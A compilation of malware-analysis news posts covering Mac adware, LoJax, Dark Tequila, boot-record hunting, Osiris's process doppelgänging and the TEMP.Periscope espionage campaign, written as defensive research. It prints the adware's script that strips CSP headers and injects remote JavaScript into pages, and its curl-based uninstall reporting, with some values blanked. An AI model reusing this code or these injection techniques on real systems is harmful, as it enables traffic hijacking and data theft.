Mac malware intercepts encrypted web traffic for ad injection

Last week, Malwarebytes researcher Adam Thomas found an interesting new piece of Mac malware that exhibits some troubling behaviors, including intercepting encrypted web traffic to inject ads. Let’s take a closer look at this adware, which Malwarebytes for Mac detects as OSX.SearchAwesome, to see how it’s installed, its behavior, and the implications of this kind of attack.


The malware is found on a rather bland disk image file, without any of the usual decorations that could make it look like a legitimate installer.

When opened, the app does not present an installer display but instead invisibly installs its components. The only evidence that it is doing anything at all comes from two authentication requests. The first is a request to authorize changes to Certificate Trust Settings.

The second is to allow something called spi to modify the network configuration.

Since this malware was delivered at a second stage, downloaded by another malicious installer—a supposed cracked app from a torrent—this makes sense. It has no need for a pretty user interface, as the user will never see anything more than the password requests, and those will be within the context of another installer.

Adware behavior

The spinstall app, like lots of adware, installs an application and a couple launch agents:


The spid.plist agent is designed to launch, but interestingly is not designed to keep the app running constantly. If the user forces the app to quit, it will not re-open until the computer restarts or the user logs out and back in.

Interestingly, the spid-uninstall.plist agent monitors for removal, and if the app gets removed somehow, it removes the other components of the malware. (More on this shortly.)

However, it also diverges significantly from other adware by installing a certificate to be used for a man-in-the-middle (MitM) attack, where malware is able to insert itself into a chain of custody somewhere, typically with network packets.

In this case, the malware uses the certificate as the first step in gaining access to https traffic, which is normally encrypted between the browser and the website and can’t be viewed by other software. However, a certificate that is trusted by the system—and, if you entered your password when asked during installation, the certificate will be trusted—can be used to intercept https traffic.

Next, the malware installs an open-source program called mitmproxy. According to the mitmproxy website, the software “can be used to intercept, inspect, modify, and replay web traffic.” With the certificate, which is actually owned by the mitmproxy project, the software is able to do this not just with unencrypted http traffic, but also with encrypted https traffic.

The software is designed to use this capability to modify web traffic for the purpose of injecting JavaScript into every page. This can be seen in an script installed by the malware:

from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
    if flow.response.status_code == 200:
        if "text/html" in flow.response.headers["content-type"]:
            flow.response.headers.pop("content-security-policy", None)
            flow.response.headers.pop("content-security-policy-report-only", None)
            script_url = ""
            html = flow.response.content
            html = html.decode().replace("", "http://+script_url+")
            flow.response.content = str(html).encode("utf8")

As shown here, the malware injects a script loaded from a malicious website at the end of every webpage loaded on the infected computer.


If is deleted, the spid-uninstall.plist agent will run the following script:

if ! [ -d "/Applications/" ]; then
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off
networksetup -setwebproxystate "Ethernet" off
networksetup -setsecurewebproxystate "Ethernet" off

VERSION=$(defaults read com.searchpage.spi version)
AID=$(defaults read com.searchpage.spi aid)
UNIQUE_ID=$(defaults read com.searchpage.spi unique_id)

curl "$VERSION&reason=&unique_id=$UNIQUE_ID&aid=$AID"

defaults delete com.searchpage.spi
defaults delete com.searchpage.spiinstall

rm ~/Library/LaunchAgents/spid-uninstall.plist
rm ~/Library/LaunchAgents/spid.plist

This does several things. First, it disables the proxy that was set up initially. Next, it gets some information from the program’s preferences and sends that information up to a web server. Finally, it removes the preferences and the launch agents (though it does not properly unload them).

At the first step in the process, the script will cause an authentication request to appear four times, each time requiring a password.

I generally do not recommend using uninstallers that are provided by the malware you want to remove. There have been a number of cases where an uninstaller has been known to install new components while removing others. An example is the Genieo malware, which has been known to do this repeatedly over the years, starting back in 2014.

In the case of this uninstaller, it’s important to note that it leaves behind the mitmproxy software, as well as the certificate used by mitmproxy to access encrypted web traffic, which has been marked as trusted by the system.


This adware, at first glance, seems to be fairly innocuous, since it’s just injecting a script that serves up advertisements. Looks can be deceiving, though. Since that script is being loaded from a server, that server’s content could change at any time. It could change from serving ads to siphoning off user data or redirecting the user to a phishing site. Imagine, for example, if a script were injected only on a particular bank’s website, and that script redirected the user to a phishing page designed to steal the user’s banking credentials.

The injected script could be used to do anything, from mining cryptocurrency to capturing browsing data to keylogging and more. Worse, the malware itself could invisibly capture data through the MitM attack, without relying on JavaScript or modifying the web page content.

Even once the malware is gone, its potential for damage is not over. By leaving behind the tools it used to execute a MitM attack, it sets up a situation where another piece of malware—perhaps one more nefarious than this one—could take advantage of the presence of those tools to do its own capturing of encrypted web traffic.

Malwarebytes for Mac will detect and remove the components of this malware, which is detected as OSX.SearchAwesome. However, it will not remove the components of mitmproxy, since that is a legitimate open-source tool. If you are infected, you should remove the mitmproxy certificate from the keychain (using Keychain Utility).

Indicators of compromise

If you see any of the following on a Mac, they are indicators that the machine has been infected with this malware:


The following items are a sign that mitmproxy is or has been installed:


A certificate with the common name mitmproxy:

The post Mac malware intercepts encrypted web traffic for ad injection appeared first on Malwarebytes Labs.

Go to Source
Author: Thomas Reed

Cybersecurity Researchers Spotted First-Ever UEFI Rootkit in the Wild

Cybersecurity researchers at ESET have unveiled what they claim to be the first-ever UEFI rootkit being used in the wild, allowing hackers to implant persistent malware on the targeted computers that could survive a complete hard-drive wipe.

Dubbed LoJax, the UEFI rootkit is part of a malware campaign conducted by the infamous Sednit group, also known as APT28, Fancy BearStrontium, and Sofacy, to target several government organizations in the Balkans as well as in Central and Eastern Europe.

Operating since at least 2007, Sednit group is a state-sponsored hacking group believed to be a unit of GRU (General Staff Main Intelligence Directorate), a Russian secret military intelligence agency. The hacking group has been associated with a number of high profile attacks, including the DNC hack just before the U.S. 2016 presidential election.

UEFI, or Unified Extensible Firmware Interface, a replacement for the traditional BIOS, is a core and critical firmware component of a computer, which links a computer’s hardware and operating system at startup and is typically not accessible to users.

How Does LoJax UEFI Rootkit Work?

According to the ESET researchers, the LoJax malware has the ability to write a malicious UEFI module into the system’s SPI flash memory, allowing BIOS firmware to install and execute malware deep inside the computer disk during the boot process.

“This patching tool uses different techniques either to abuse misconfigured platforms or to bypass platform SPI flash memory write protections,” ESET researchers said in a blog post published today.

Since LoJax rootkit resides in the compromised UEFI firmware and re-infects the system before the OS even boots, reinstalling the operating system, formatting the hard disk, or even replacing the hard drive with a new one would not be sufficient to clean the infection.

Flashing the compromised firmware with legitimate software is the only way to remove such rootkit malware, which typically is not a simple task for most computer users.

LoJax UEFI rootkit malware

First spotted in early 2017, LoJax is a trojaned version of a popular legitimate LoJack laptop anti-theft software from Absolute Software, which installs its agent into the system’s BIOS to survive OS re-installation or drive replacement and notifies device owner of its location in case the laptop gets stolen.

According to researchers, the hackers slightly modified the LoJack software to gain its ability to overwrite UEFI module and changed the background process that communicates with Absolute Software’s server to report to Fancy Bear’s C&C servers.

Upon analyzing the LoJax sample, researchers found that the threat actors used a component called “ReWriter_binary” to rewrite vulnerable UEFI chips, replacing the vendor code with their malicious one.

“All the LoJax small agent samples we could recover are trojanizing the exact same legitimate sample of the Computrace small agent rpcnetp.exe. They all have the same compilation timestamp and only a few tens of bytes are different from the original one,” ESET researchers said.

“Besides the modifications to the configuration file, the other changes include timer values specifying the intervals between connections to the C&C server.”

LoJax is not the first code to hide in the UEFI chip, as the 2015 Hacking Team leak revealed that the infamous spyware manufacturer offered UEFI persistence with one of its products.

Also, one of the CIA documents leaked by Wikileaks last year gave a clear insight into the techniques used by the agency to gain ‘persistence’ on Apple Mac devices, including Macs and iPhones, demonstrating their use of EFI/UEFI and firmware malware.

However, according to ESET, the LoJax rootkit installation uncovered by its researchers is the first ever recorded case of a UEFI rootkit active in the wild.

How to Protect Your Computer From Rootkits

As ESET researchers said, there are no easy ways to automatically remove this threat from a system.

Since UEFI rootkit is not properly signed, users can protect themselves against LoJax infection by enabling the Secure Boot mechanism, which makes sure that each and every component loaded by the system firmware is properly signed with a valid certificate.

If you are already infected with such malware, the only way to remove the rootkit is to reflash the SPI flash memory with a clean firmware image specific to the motherboard, which is a very delicate process that must be performed manually and carefully.

Alternative to reflashing the UEFI/BIOS, you can replace the motherboard of the compromised system outright.

“The LoJax campaign shows that high-value targets are prime candidates for the deployment of rare, even unique threats. Such targets should always be on the lookout for signs of compromise,” researchers wrote.

For more in-depth details about the LoJax root, you can head onto a white paper [PDF], titled the “LoJax: First UEFI rootkit found in the wild, courtesy of the Sednit group,” published on Thursday by ESET researchers.

Go to Source

Dark Tequila Banking Malware Uncovered After 5 Years of Activity

Security researchers at Kaspersky Labs have uncovered a new, complex malware campaign that has been targeting customers of several Mexican banking institutions since at least 2013.

Dubbed Dark Tequila, the campaign delivers an advanced keylogger malware that managed to stay under the radar for five years due to its highly targeted nature and a few evasion techniques.

Dark Tequila has primarily been designed to steal victims’ financial information from a long list of online banking sites, as well as login credentials to popular websites, ranging from code versioning repositories to public file storage accounts and domain registrars.

The list of targeted sites includes “Cpanels, Plesk, online flight reservation systems, Microsoft Office 365, IBM Lotus Notes clients, Zimbra email, Bitbucket, Amazon, GoDaddy, Register, Namecheap, Dropbox, Softlayer, Rackspace, and other services,” the researchers say in a blog post.

The malware gets delivered to the victims’ computers in the first place either via spear-phishing or infected USB devices.

Once executed, a multi-stage payload infects the victim’s computer only after certain conditions are met, which includes checking if the infected computer has any antivirus or security suite installed or is running in an analysis environment.

Besides this, “the threat actor behind it strictly monitors and controls all operations. If there is a casual infection, which is not in Mexico or is not of interest, the malware is uninstalled remotely from the victim’s machine,” the researchers say.

The Dark Tequila malware basically includes 6 primary modules, as follows:

1. C&C – This part of the malware manages communication between the infected computer and the command and control (C&C) server and also responsible for monitoring man-in-the-middle attacks to defend against malware analysis.

2. CleanUp – While performing evasion techniques, if the malware detects any ‘suspicious’ activity—like running on a virtual machine or debugging tools—it performs a full cleanup of the infected system, removing the persistence service as well as forensic evidence of its presence.

3. Keylogger – This module has been designed to monitor the system and logs keystrokes to steal login credentials for a preloaded list of websites—both banking as well as other popular sites.

4. Information Stealer – This password stealing module extracts saved passwords from email and FTP clients, as well as browsers.

5. The USB Infector – This module replicates itself and infects additional computers via USB drives. It copies an executable file to a removable drive that runs automatically when plugged to other systems.

6. Service Watchdog – This module is responsible for making sure that the malware is running properly.

According to the researchers, the Dark Tequila campaign is still active and can be deployed in any part of the world to attack any target “according to the interests of the threat actor behind it.”

To protect yourself, you are recommended to always be vigilant of suspicious emails and keep a good antivirus solution to protect against such threats before they infect you or your network.

Most importantly, avoid connecting untrusted removable and USB devices to your computer, and consider disabling auto-run on USB devices.

Go to Source

BIOS Boots What? Finding Evil in Boot Code at Scale!

The second issue is that reverse engineering all boot records is
impractical. Given the job of determining if a single system is
infected with a bootkit, a malware analyst could acquire a disk image
and then reverse engineer the boot bytes to determine if anything
malicious is present in the boot chain. However, this process takes
time and even an army of skilled reverse engineers wouldn’t scale to
the size of modern enterprise networks. To put this in context, the
compromised enterprise network referenced in our ROCKBOOT blog post had approximately
10,000 hosts. Assuming a minimum
of two boot records per host, a Master Boot Record (MBR) and a Volume
Boot Record (VBR), that is an average of 20,000 boot records to analyze! An
initial reaction is probably, “Why not just hash the boot records and
only analyze the unique ones?” One would assume that corporate
networks are mostly homogeneous, particularly with respect to boot
code, yet this is not the case. Using the same network as an example,
the 20,000 boot records reduced to only 6,000 unique records based on
MD5 hash. Table 1 demonstrates this using data we’ve collected across
our engagements for various enterprise sizes.

Enterprise Size (# hosts) Avg # Unique Boot Records (md5)
100-1000 428
1000-10000 4,738
10000+ 8,717

Table 1 – Unique boot records by MD5 hash

Now, the next thought might be, “Rather than hashing the entire
record, why not implement a custom hashing technique where only
subsections of the boot code are hashed, thus avoiding the dynamic
data portions?” We tried this as well. For example, in the case of
Master Boot Records, we used the bytes at the following two offsets to
calculate a hash:

md5( offset[0:218] + offset[224:440] )

In one network this resulted in approximately 185,000 systems
reducing to around 90 unique MBR hashes. However, this technique had
drawbacks. Most notably, it required accounting for numerous special
cases for applications such as Altiris, SafeBoot, and PGPGuard. This
required small adjustments to the algorithm for each environment,
which in turn required reverse engineering many records to find the
appropriate offsets to hash.

Ultimately, we concluded that to solve the problem we needed a
solution that provided the following:

  • A reliable collection of
    boot records from systems
  • A behavioral analysis of boot
    records, not just static analysis
  • The ability to analyze
    tens of thousands of boot records in a timely manner

The remainder of this post describes how we solved each of these challenges.

Collect the Bytes

Malicious drivers insert themselves into the disk driver stack so
they can intercept disk I/O as it traverses the stack. They do this to
hide their presence (the real bytes) on disk. To address this attack
vector, we developed a custom kernel driver (henceforth, our “Raw
Read” driver) capable of targeting various altitudes in the disk
driver stack. Using the Raw Read driver, we identify the lowest level
of the stack and read the bytes from that level (Figure 1).

Figure 1: Malicious driver inserts itself
as a filter driver in the stack, raw read driver reads bytes from
lowest level

This allows us to bypass the rest of the driver stack, as well as
any user space hooks. (It is important to note, however, that if the
lowest driver on the I/O stack has an inline code hook an attacker can
still intercept the read requests.) Additionally, we can compare the
bytes read from the lowest level of the driver stack to those read
from user space. Introducing our first indicator of a compromised
boot system: the bytes retrieved from user space don’t match those
retrieved from the lowest level of the disk driver stack.

Analyze the Bytes

As previously mentioned, reverse engineering and static analysis are
impractical when dealing with hundreds of thousands of boot records.
Automated dynamic analysis is a more practical approach, specifically
through emulating the execution of a boot record. In more technical
terms, we are emulating the real mode instructions of a boot record.

The emulation engine that we chose is the Unicorn project. Unicorn
is based on the QEMU emulator and supports 16-bit real mode emulation.
As boot samples are collected from endpoint machines, they are sent to
the emulation engine where high-level functionality is captured during
emulation. This functionality includes events such as memory access,
disk reads and writes, and other interrupts that execute during emulation.

The Execution Hash

Folding down (aka stacking) duplicate samples is critical to reduce
the time needed on follow-up analysis by a human analyst. An
interesting quality of the boot samples gathered at scale is that
while samples are often functionally identical, the data they use
(e.g. strings or offsets) is often very different. This makes it quite
difficult to generate a hash to identify duplicates, as demonstrated
in Table 1. So how can we solve this problem with emulation? Enter the
“execution hash”. The idea is simple: during emulation, hash the
mnemonic of every assembly instruction that executes (e.g.,
“md5(‘and’ + ‘mov’ + ‘shl’ + ‘or’)”). Figure 2 illustrates this
concept of hashing the assembly instruction as it executes to
ultimately arrive at the “execution hash”

Figure 2: Execution hash

Using this method, the 650,000 unique boot samples we’ve collected
to date can be grouped into a little more than 300 unique execution
hashes. This reduced data set makes it far more manageable to identify
samples for follow-up analysis. Introducing our second indicator of
a compromised boot system: an execution hash that is only found on a
few systems in an enterprise!

Behavioral Analysis

Like all malware, suspicious activity executed by bootkits can vary
widely. To avoid the pitfall of writing detection signatures for
individual malware samples, we focused on identifying behavior that
deviates from normal OS bootstrapping. To enable this analysis, the
series of instructions that execute during emulation are fed into an
analytic engine. Let’s look in more detail at an example of malicious
functionality exhibited by several bootkits that we discovered by
analyzing the results of emulation.

Several malicious bootkits we discovered hooked the interrupt vector
table (IVT) and the BIOS Data Area (BDA) to intercept system
interrupts and data during the boot process. This can provide an
attacker the ability to intercept disk reads and also alter the
maximum memory reported by the system. By hooking these structures,
bootkits can attempt to hide themselves on disk or even in memory.

These hooks can be identified by memory writes to the memory ranges
reserved for the IVT and BDA during the boot process. The IVT
structure is located at the memory range 0000:0000h to 0000:03FCh and
the BDA is located at 0040:0000h. The malware can hook the interrupt
13h handler to inspect and modify disk writes that occur during the
boot process. Additionally, bootkit malware has been observed
modifying the memory size reported by the BIOS Data Area in order to
potentially hide itself in memory.

This leads us to our final category of indicators of a compromised
boot system: detection of suspicious behaviors such as IVT hooking,
decoding and executing data from disk, suspicious screen output from
the boot code, and modifying files or data on disk.

Do it at Scale

Dynamic analysis gives us a drastic improvement when determining the
behavior of boot records, but it comes at a cost. Unlike static
analysis or hashing, it is orders of magnitude slower. In our cloud
analysis environment, the average time to emulate a single record is
4.83 seconds. Using the compromised enterprise network that contained
ROCKBOOT as an example (approximately 20,000 boot records), it would
take more than 26 hours to dynamically analyze (emulate) the records
serially! In order to provide timely results to our analysts we needed
to easily scale our analysis throughput relative to the amount of
incoming data from our endpoint technologies. To further complicate
the problem, boot record analysis tends to happen in batches, for
example, when our endpoint technology is first deployed to a new enterprise.

With the advent of serverless cloud computing, we had the
opportunity to create an emulation analysis service that scales to
meet this demand – all while remaining cost effective. One of the
advantages of serverless computing versus traditional cloud instances
is that there are no compute costs during inactive periods; the only
cost incurred is storage. Even when our cloud solution receives tens
of thousands of records at the start of a new customer engagement, it
can rapidly scale to meet demand and maintain near real-time detection
of malicious bytes.

The cloud infrastructure we selected for our application is Amazon
Web Services (AWS). Figure 3 provides an overview of the architecture.

Figure 3: Boot record analysis workflow

Our design currently utilizes:

  • API Gateway to provide a RESTful interface.
  • Lambda functions to do validation, emulation, analysis, as
    well as storage and retrieval of results.
  • DynamoDB to track progress of processed boot records through
    the system.
  • S3 to store boot records and emulation reports.

The architecture we created exposes a RESTful API that provides a
handful of endpoints. At a high level the workflow is:

  1. Endpoint agents in
    customer networks automatically collect boot records using FireEye’s
    custom developed Raw Read kernel driver (see “Collect the bytes”
    described earlier) and return the records to FireEye’s Incident
    Response (IR) server.
  2. The IR server submits batches of boot
    records to the AWS-hosted REST interface, and polls the interface
    for batched results.
  3. The IR server provides a UI for
    analysts to view the aggregated results across the enterprise, as
    well as automated notifications when malicious boot records are

The REST API endpoints are exposed via AWS’s API Gateway, which then
proxies the incoming requests to a “submission” Lambda. The submission
Lambda validates the incoming data, stores the record (aka boot code)
to S3, and then fans out the incoming requests to “analysis” Lambdas.

The analysis Lambda is where boot record emulation occurs. Because
Lambdas are started on demand, this model allows for an incredibly
high level of parallelization. AWS provides various settings to
control the maximum concurrency for a Lambda function, as well as
memory/CPU allocations and more. Once the analysis is complete, a
report is generated for the boot record and the report is stored in
S3. The reports include the results of emulation and other metadata
extracted from the boot record (e.g., ASCII strings).

As described earlier, the IR server periodically polls the AWS REST
endpoint until processing is complete, at which time the report is downloaded.

Find More Evil in Big Data

Our workflow for identifying malicious boot records is only
effective when we know what malicious indicators to look for, or what
execution hashes to blacklist. But what if a new malicious boot record
(with a unique hash) evades our existing signatures?

For this problem, we leverage our in-house big data platform engine
that we integrated into FireEye
following the acquisition of X15 Software. By loading the
results of hundreds of thousands of emulations into the engine X15,
our analysts can hunt through the results at scale and identify
anomalous behaviors such as unique screen prints, unusual initial jump
offsets, or patterns in disk reads or writes.

This analysis at scale helps us identify new and interesting samples
to reverse engineer, and ultimately helps us identify new detection
signatures that feed back into our analytic engine.


Within weeks of going live we detected previously unknown
compromised systems in multiple customer environments. We’ve
identified everything from ROCKBOOT and HDRoot!
bootkits to the admittedly humorous JackTheRipper,
a bootkit that spreads itself via floppy disk (no joke). Our system
has collected and processed nearly 650,000 unique records to date and
continues to find the evil needles (suspicious and malicious boot
records) in very large haystacks.

In summary, by combining advanced endpoint boot record extraction
with scalable serverless computing and an automated emulation engine,
we can rapidly analyze thousands of records in search of evil. FireEye
is now using this solution in both our Managed
and Incident


Dimiter Andonov, Jamin Becker, Fred House, and Seth Summersett
contributed to this blog post.

Go to Source
Author: Ryan Fisher

Osiris dropper found using process doppelgänging

Process Doppelgänging, a new technique of impersonating a process, was published last year at Black Hat conference. After some time, a ransomware named SynAck was discovered that adopted it for malicious purposes. However, this technique is still pretty rare in wild. So, it was an interesting surprise to notice it in a dropper of the Osiris banking Trojan (a new version of the infamous Kronos).

The authors of this dropper were skilled, and they added several other tricks to spice the whole thing up. In this post, we will have a closer look at the loader’s implementation.

Analyzed sample

Osiris is loaded in three steps:


The dropper creates a new process and injects the content inside:

Interestingly, when we look into the modules loaded in the process space of the injector, we can see an additional copy of NTDLL:

This is a well-known technique that some malware authors use in order to evade monitoring applications and hide the API calls that they used.

When we examine closely what the functions are called from that additional NTDLL, we find more interesting details. It calls several APIs related to NTFS transactions. It was easy to guess that the technique of Process Doppelgänging, which relies on this mechanism, was applied here.

Loading additional NTDLL

NTDLL is a special, low-level DLL. Basically, it is just a wrapper around syscalls. It does not have any dependencies from other DLLs in the system. Thanks to this, it can be loaded conveniently, without the need to fill its import table.

Other system DLLs, such as Kernel32, rely heavily on functions exported from NTDLL. This is why many user-land monitoring tools hook and intercept the functions exported by NTDLL: to watch what functions are being called and check if the process does not display any suspicious activity.

Of course malware authors know about this, so sometimes, in order to fool this mechanism, they load their own, fresh and unhooked copy of NTDLL from the disk. There are several ways to implement this. Let’s have a look how the authors of the Osiris dropper did it.

Looking at the memory mapping, we see that the NTDLL is loaded as an image, just like other DLLs. However, it was not loaded by a typical LoadLibrary function, nor even by its low-level version from NTDLL, LdrLoadDll. Instead, the authors decided to load the file as a section, using following functions:

  • ntdll.NtCreateFile – to open the ntdll.dll file
  • ntdll.NtCreateSection – to create a section out of this file
  • ntdll.ZwMapViewOfSection – to map this section into the process address space

This was smart move because the DLL looks like it was loaded in a typical way, and yet, if we monitor the LdrLoadDll function, we see nothing suspicious.

Implementation of Process Doppelgänging

In order to make their injection more stealthy, the authors took the original implementation of Process Doppelgänging a step further and used only low-level APIs. So, instead of calling the convenient wrappers from Kernel32, for most of the functions they called their equivalents from NTDLL. Moreover, they used the aforementioned custom copy of this DLL.

First, they created a new suspended process. This is the process into which the payload will be injected. In this particular case, the function was called from kernel32.dll: CreateProcessInternal.

Process Doppelgänging then starts from creating a new transaction, within which a new file is created. The original implementation used CreateTransaction and CreateFileTransacted from Kernel32 for this purpose. But this is not the case here.

First, a function ZwCreateTransaction from a NTDLL is called. Then, instead of CreateFileTransacted, the authors open the transacted file by RtlSetCurrentTransaction along with ZwCreateFile (the created file is %TEMP%\Liebert.bmp). Then, the dropper writes the content of the new executable to the file—the second stage of the malware. Analogically, RtlSetCurrentTransaction with ZwWriteFile is used.

We can see that the buffer that is being written contains the new PE file: the second stage payload. Typically, for the Process Doppelgänging technique, the file is visible only within the transaction and cannot be opened by other processes, such as AV scanners.

After the file inside the transaction is created, it will be used to create a buffer in special format, called a section. The function that can do it is available only via low-level API: ZwCreateSection/NtCreateSection.

After the section is created, the file that was created is no longer needed. The transaction gets rolled back (by ZwRollbackTransaction), and the changes to the file are never saved on the disk.

Further, the created section will be used to load a PE file. After writing the payload into memory and setting the necessary patches, such as Entry Point redirection, the process is resumed:

Second stage loader

The next layer (8d58c731f61afe74e9f450cc1c7987be) is not the core yet, but the next stage of the loader. The way it loads the final payload is much simpler, yet still not trivial. The code of Osiris core is unpacked piece by piece and manually loaded along with its dependencies into a newly allocated memory area within the loader process.

After this self-injection, the loader jumps into the payload’s entry point:

The interesting thing is that the entry point of the application is different than the entry point saved in the header. So, if we dump the payload and try to run it interdependently, we will not get the same code executed. This is an interesting technique used to misguide researchers.

This is the entry point that was set in the headers is at RVA 0x26840:

The call leads to a function that makes the application go in an infinite sleep loop:

The real entry point, from which the execution of the malware should start, is at 0x25386, and it is known only to the loader.

Comparison with Kronos loader

A similar trick using a hidden entry point was used by the original Kronos (2a550956263a22991c34f076f3160b49).

In the case of Kronos, the final payload is injected into svchost. The execution is redirected to the core by patching the entry point in the svchost:

In this case, the entry point within the payload is at RVA 0x13B90, while the entry point saved in the payload’s header (d8425578fc2d84513f1f22d3d518e3c3) is at 0x15002.

The code at the real Kronos entry point displays similarities with the analogical point in Osiris. Yet, we can see they are not identical:


The implementation of Process Dopplegänging used in the first stage loader is clean and professional. The author used a relatively new technique and made the best out of it by composing it with other known tricks. The precision used here reminds us of the code used in the original Kronos. However, we can’t be sure if the first layer is written by the same author as the core bot. Malware distributors often use third-party crypters to pack their malware. The second stage is more tightly coupled with the payload, and here we can say with more confidence that this layer was prepared along with the core.

The post Osiris dropper found using process doppelgänging appeared first on Malwarebytes Labs.

Go to Source
Author: hasherezade

Chinese Espionage Group TEMP.Periscope Targets Cambodia Ahead of July2018 Elections and Reveals Broad Operations Globally


FireEye has examined a range of TEMP.Periscope activity revealing
extensive interest in Cambodia’s politics, with active compromises of
multiple Cambodian entities related to the country’s electoral system.
This includes compromises of Cambodian government entities charged
with overseeing the elections, as well as the targeting of opposition
figures. This campaign occurs in the run up to the country’s July 29,
2018, general elections. TEMP.Periscope used the same infrastructure
for a range of activity against other more traditional targets,
including the defense industrial base in the United States and a
chemical company based in Europe. Our previous blog post focused on
the group’s targeting
of engineering and maritime entities
in the United States.

Overall, this activity indicates that the group maintains an
extensive intrusion architecture and wide array of malicious tools,
and targets a large victim set, which is in line with typical
Chinese-based APT efforts. We expect this activity to provide the
Chinese government with widespread visibility into Cambodian elections
and government operations. Additionally, this group is clearly able to
run several large-scale intrusions concurrently across a wide range of
victim types.

Our analysis also strengthened our overall attribution of this
group. We observed the toolsets we previously attributed to this
group, their observed targets are in line with past group efforts and
also highly similar to known Chinese APT efforts, and we identified an
IP address originating in Hainan, China that was used to remotely
access and administer a command and control (C2) server.

TEMP.Periscope Background

Active since at least 2013, TEMP.Periscope has primarily focused on
maritime-related targets across multiple verticals, including
engineering firms, shipping and transportation, manufacturing,
defense, government offices, and research universities (targeting is
summarized in Figure 1). The group has also targeted
professional/consulting services, high-tech industry, healthcare, and
media/publishing. TEMP.Periscope overlaps in targeting, as well as
tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group
that also overlaps significantly with public reporting by Proofpoint
and F-Secure
on “NanHaiShu.”

Figure 1: Summary of TEMP.Periscope activity

Incident Background

FireEye analyzed files on three open indexes believed to be
controlled by TEMP.Periscope, which yielded insight into the group’s
objectives, operational tactics, and a significant amount of technical
attribution/validation. These files were “open indexed” and
thus accessible to anyone on the public internet. This TEMP.Periscope
activity on these servers extends from at least April 2017 to the
present, with the most current operations focusing on Cambodia’s
government and elections.

  • Two servers,
    chemscalere[.]com and scsnewstoday[.]com, operate as typical C2
    servers and hosting sites, while the third, mlcdailynews[.]com,
    functions as an active SCANBOX server. The C2 servers contained both
    logs and malware.
  • Analysis of logs from the three servers

    • Potential actor logins from an IP address
      located in Hainan, China that was used to remotely access and
      administer the servers, and interact with malware deployed at
      victim organizations.
    • Malware command and control
      check-ins from victim organizations in the education, aviation,
      chemical, defense, government, maritime, and technology sectors
      across multiple regions. FireEye has notified all of the victims
      that we were able to identify.
  • The malware
    present on the servers included both new families (DADBOD, EVILTECH)
    and previously identified malware families (AIRBREAK, EVILTECH,

Compromises of Cambodian Election Entities

Analysis of command and control logs on the servers revealed
compromises of multiple Cambodian entities, primarily those relating
to the upcoming July 2018 elections. In addition, a separate spear
phishing email analyzed by FireEye indicates concurrent targeting of
opposition figures within Cambodia by TEMP.Periscope.

Analysis indicated that the following Cambodian government
organizations and individuals were compromised by TEMP.Periscope:

  • National Election
    Commission, Ministry of the Interior, Ministry of Foreign Affairs
    and International Cooperation, Cambodian Senate, Ministry of
    Economics and Finance
  • Member of Parliament representing
    Cambodia National Rescue Party
  • Multiple Cambodians
    advocating human rights and democracy who have written critically of
    the current ruling party
  • Two Cambodian diplomats serving
  • Multiple Cambodian media entities

TEMP.Periscope sent a spear phish with AIRBREAK malware to
Monovithya Kem, Deputy Director-General, Public Affairs, Cambodia
National Rescue Party (CNRP), and the daughter of (imprisoned)
Cambodian opposition party leader Kem Sokha (Figure 2). The decoy
document purports to come from LICADHO (a non-governmental
organization [NGO] in Cambodia established in 1992 to promote human
rights). This sample leveraged scsnewstoday[.]com for C2.

Figure 2: Human right protection survey lure

The decoy document “Interview Questions.docx” (MD5:
ba1e5b539c3ae21c756c48a8b5281b7e) is tied to AIRBREAK downloaders of
the same name. The questions reference the opposition Cambodian
National Rescue Party, human rights, and the election (Figure 3).

Figure 3: Interview questions decoy

Infrastructure Also Used for Operations Against Private Companies

The aforementioned malicious infrastructure was also used against
private companies in Asia, Europe and North America. These companies
are in a wide range of industries, including academics, aviation,
chemical, maritime, and technology. A MURKYTOP sample from 2017 and
data contained in a file linked to chemscalere[.]com suggest that a
corporation involved in the U.S. defense industrial base (DIB)
industry, possibly related to maritime research, was compromised. Many
of these compromises are in line with TEMP.Periscope’s previous
activity targeting maritime and defense industries. However, we also
uncovered the compromise of a European chemical company with a
presence in Asia, demonstrating that this group is a threat to
business worldwide, particularly those with ties to Asia.

AIRBREAK Downloaders and Droppers Reveal Lure Indicators

Filenames for AIRBREAK downloaders found on the open indexed sites
also suggest the ongoing targeting of interests associated with Asian
geopolitics. In addition, analysis of AIRBREAK downloader sites
revealed a related server that underscores TEMP.Periscope’s interest
in Cambodian politics.

The AIRBREAK downloaders in Table 1 redirect intended victims to the
indicated sites to display a legitimate decoy document while
downloading an AIRBREAK payload from one of the identified C2s. Of
note, the hosting site for the legitimate documents was not
compromised. An additional C2 domain, partyforumseasia[.]com, was
identified as the callback for an AIRBREAK downloader referencing the
Cambodian National Rescue Party.

Redirect Site (Not Malicious) AIRBREAK Downloader AIRBREAK C2 TOP_NEWS_Japan_to_Support_the_Election.js

(3c51c89078139337c2c92e084bb0904c) [Figure 4]

chemscalere[.]com [pdf]Interview-Questions.pdf.js

(e413b45a04bf5f812912772f4a14650f) [docx]Interview-Questions.docx.js


unknown Interview_Questions.docx.js


scsnewstoday[.]com Philippines-draws-three-hard-new-lines-on-china


mlcdailynews[.]com CNR.Movement.mp4.js



Table 1: AIRBREAK downloaders

Figure 4: Decoy document associated with
AIRBREAK downloader file TOP_NEWS_Japan_to_Support_the_Election.js

SCANBOX Activity Gives Hints to Future Operations

The active SCANBOX server, mlcdailynews[.]com, is hosting articles
related to the current Cambodian campaign and broader operations.
Articles found on the server indicate targeting of those with
interests in U.S.-East Asia geopolitics, Russia and NATO affairs.
Victims are likely either brought to the SCANBOX server via strategic
website compromise or malicious links in targeted emails with the
article presented as decoy material. The articles come from
open-source reporting readily available online. Figure 5 is a SCANBOX
welcome page and Table 2 is a list of the articles found on the server.

Figure 5: SCANBOX welcome page

Copied Article Topic Article Source (Not Compromised)
Leaders confident yet nervous Khmer Times
Mahathir_ ‘We want to be friendly with
PM urges voters to support CPP for peace
CPP determined to maintain Kingdom’s peace and
Bun Chhay’s wife dies at 60
Crackdown planned on boycott callers
Further floods coming to Kingdom
Kem Sokha again denied bail
PM vows to stay on as premier to quash
Iran_ Don’t trust Trump Fresh News
Kim-Trump summit_ Singapore’s role
Trump’s North Korea summit may bring peace
declaration – but at a cost
U.S. pushes NATO to ready more forces to deter
Russian threat
Interior Minister Sar Kheng warns of dirty
Phnom Penh
Another player to enter market for cashless
Donald Trump says he has ‘absolute right’ to
